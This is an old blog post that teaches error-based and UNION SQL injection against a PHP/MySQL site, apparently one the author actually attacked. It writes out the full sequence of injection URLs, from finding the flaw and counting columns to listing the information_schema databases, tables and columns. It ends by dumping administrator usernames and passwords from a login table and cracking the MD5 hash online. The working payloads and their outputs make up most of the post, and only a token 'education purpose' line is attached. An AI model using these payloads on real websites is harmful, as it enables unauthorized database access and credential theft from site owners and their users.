Sunday, October 3, 2010

Error Based SQL Injections

This kind of attack is based on 'error message' received from server. Fortunately for the attacker, if error messages are returned from the application (the default PHP behavior) the attacker can determine the entire structure of the database, and read any value that can be read by the account the PHP application is using to connect to the SQL Server.

Suppose we have website like this:
www.victim.com/read.php?id=10
First of all you need to find an vulnerability on the website of the victim. To do this you need to add ' (quote) on the end.
www.victim.com/read.php?id=10'

The website is vulnerable to sql injection, if you see the following error in the browser.
Database error: Invalid SQL: select a.naziv, a.datum, a.komplet_cir, a.id_vijesti from naslovna a where a.id=10'
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)
Session halted.
 Or something like that...

Now it's time find out how many columns the database contain. For that action we use ORDER BY keywords. The ORDER BY keyword is used to sort the result-set by a specified column.
www.victim.com/read.php?id=10+order+by+1/*

This should give us a normal page view. But we need to find an error so we will increase the number at the end of the line until we get an error page.
www.victim.com/read.php?id=10+order+by+2/* <- no error
www.victim.com/read.php?id=10+order+by+3/* <- no error
www.victim.com/read.php?id=10+order+by+4/* <- no error
www.victim.com/read.php?id=10+order+by+5/* <- error

I got an error 
Unknown column '5' in 'order clause'

This mean that my website have 4 columns. Now I try following command.
www.victim.com/read.php?id=10+union+select+1,2,3,4/*

The UNION operator is used to combine the result of two or more SELECT statements. 

Now on a normal page, you can see 1,2,3 or 4. On my page I see 1. So I will now change the number 1 with @@version in url to find out MySQL version.
www.victim.com/read.php?id=10+union+select+@@version,2,3,4/*
Number 1 on the web page is now replaced with a version of the database: 
5.0.26 <- in my case 
Next step is to find databases from information_schema /This works if is version of the database greater then 5/. You can do this with the following line.
www.victim.com/read.php?id=10+union+select+group_concat(schema_name),2,3,4+from information_schema.schemata/*

GROUP_CONCAT() function is used to concatenate column values into a single string. As a result of the above command instead of MySQL versions we will see the names of the database.
information_schema,skupstina <- in my case


Our database is skupstina because information_schema is the information database, the place that stores information about all the other databases that the MySQL server maintains. 


When we found a database, the next thing is to find a tables. The command is similar.
www.victim.com/read.php?id=10+union+select+group_concat(table_name),2,3,4+from information_schema.tables/*


Names of the database are replaced with the names of tables on a web site. On my web page, it looks like this:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,akti_skupstine,aktivnosti_eng,aktivnosti_skupstine,aktuelnosti_eng,delegati,funkcije,klubovi,komisije,login,naslovna <- in my case

You need to find interesting tables like users, logins, user_information or 
something like that. In my case the interesting table is login.
To read columns from login table you need to enter following command in your url:
www.victim.com/read.php?id=10+union+select+group_concat(column_name),2,3,4+from+information_schema.columns+where+table_name='login'/*

After this command my names of the tables are replaced with columns from a table login:
user_id,username,password,full_name <- in my case
Now it's finally time to read data from columns. We are interested in data from only two columns username and password. Use the following command to get data.
www.victim.com/read.php?id=10+union+select+group_concat(username,0x3a,password),2,3,4+from+login/*

And viola, are names of the columns on website is now replaced with...
Administrator:123456
 ... where Administrator is username and 123456 is password.

Sometimes you can get result like this
Administrator:e10adc3949ba59abbe56e057f20f883e

This means that is password encrypted and you need to decrypt a password before use. You can use online services to decrypt passwords. For example: http://md5decrypter.co.uk


Of course, use this post only for education purpose :).